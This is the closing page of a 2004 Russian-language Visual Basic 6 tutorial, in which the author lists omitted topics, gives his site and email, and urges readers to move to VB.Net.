Ну вроде всё. Последние версии этого учебника скачивай с моего сайта padre.narod.ru, а на этом я пока закончу. В этот учебник не вошли темы: Создание библиотек; Классы модули - с чем их едят?; VBScript; DerectX ... Эти темы, и другие будут написаны в ближайшее время, так что качай последние версии с моего сайта. Если ты сам написал статью, исходник - отсылай мне на мыло: padre03@mail.ru - я ее обязательно размещу на своем творенье. Если у тебя есть какие - нибуть вопросы, пиши мне, и я на них отвечу, или оставь их на форуме. Покиданьки булы!

ШАГ 179

Заключение:

Когда я начал писать этот учебник VB был вполне приличным языком, но т.к. технологии не стоят на месте, VB6 устарел, и на его смену пришел VB.Net.
Это практически новый язык, отличающийся от VB не только синтаксисом, но и самим подходом к программированию. Возможности VB.Net сильно отличаются от VB6, в лучшую сторону. В VB.Net отпала необходимость использовать API функции, т.к. он может практически все. Программы написанные на VB.Net будут нормально работать на всех ОС(Windows, Linux, Unix..), при установленной .Net платформы. .Net платформа, это не msvbvm60.dll библиотеки, которые надо тоскать с со свое программой.
.Net платформа постовляется с Windows XP.
На .Net перешли все основные языки(C++, C#, Visual Basic, Delphi..).
Так что я советую тебе переходить на VB.Net, т.к. VB6 как и QB скоро исчезнет, и станет историей..
P.S. Сейчас я пишу учебник о VB.Net, но он не будет свободно распростронятся. Как его приобрести читай на моем сайте.

Первая часть

Автор учебника: Падре
Дата создания: 23 марта 2004 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ